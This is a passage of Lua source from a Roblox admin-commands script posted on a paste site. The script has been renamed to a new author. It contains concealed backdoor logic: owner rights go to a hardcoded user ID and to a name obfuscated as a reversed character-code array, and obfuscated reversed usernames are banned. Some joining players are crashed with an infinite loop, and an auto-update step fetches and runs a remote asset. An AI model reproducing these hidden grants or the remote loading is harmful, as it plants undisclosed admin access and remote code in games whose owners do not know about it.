  1630. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  1631. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  1632. end)) end
  1633. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  1634. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  1635. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  1636. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  1637. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("ThunderBladeWolf", "You're an admin!", false, {plr}) end end))
  1638. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  1639. end
  1640.  
  1641. if not ntab then script:Destroy() end
  1642. if not bct then script:Destroy() end
  1643.  
  1644. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  1645.  
  1646. script.Name = "itsJaden2's Admin Commands V2"
  1647.  
  1648. if not ntab then script:Destroy() end
  1649. if not bct then script:Destroy() end
  1650. if not tcb then script:Destroy() end
  1651. game.Players.PlayerAdded:connect(AdminControl)
  1652. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  1653. end
  1654.  
  1655. local mod = game:service("InsertService"):LoadAsset(100808216)
  1656. if mod:findFirstChild("itsJaden2's Admin Commands V3") and mod:findFirstChild("Version", true) and AutoUpdate then
  1657. local newac = mod:findFirstChild("itsJaden2's Admin Commands V3")
  1658. newac.Disabled = true
  1659. local new = tonumber(mod:findFirstChild("Version", true).Value)
  1660. local old = 0
  1661. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  1662. if new > old then
  1663. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  1664. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  1665. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  1666. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  1667. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  1668. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  1669. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  1670. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  1671. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  1672. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  1673. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  1674. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  1675. wait()
  1676. newac.Parent = game.Workspace
  1677. newac.Disabled = false
  1678. script.Disabled = true
  1679. script:Destroy()
  1680. else
  1681. CHEESE()
  1682. end
  1683. else
  1684. CHEESE()
  1685. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement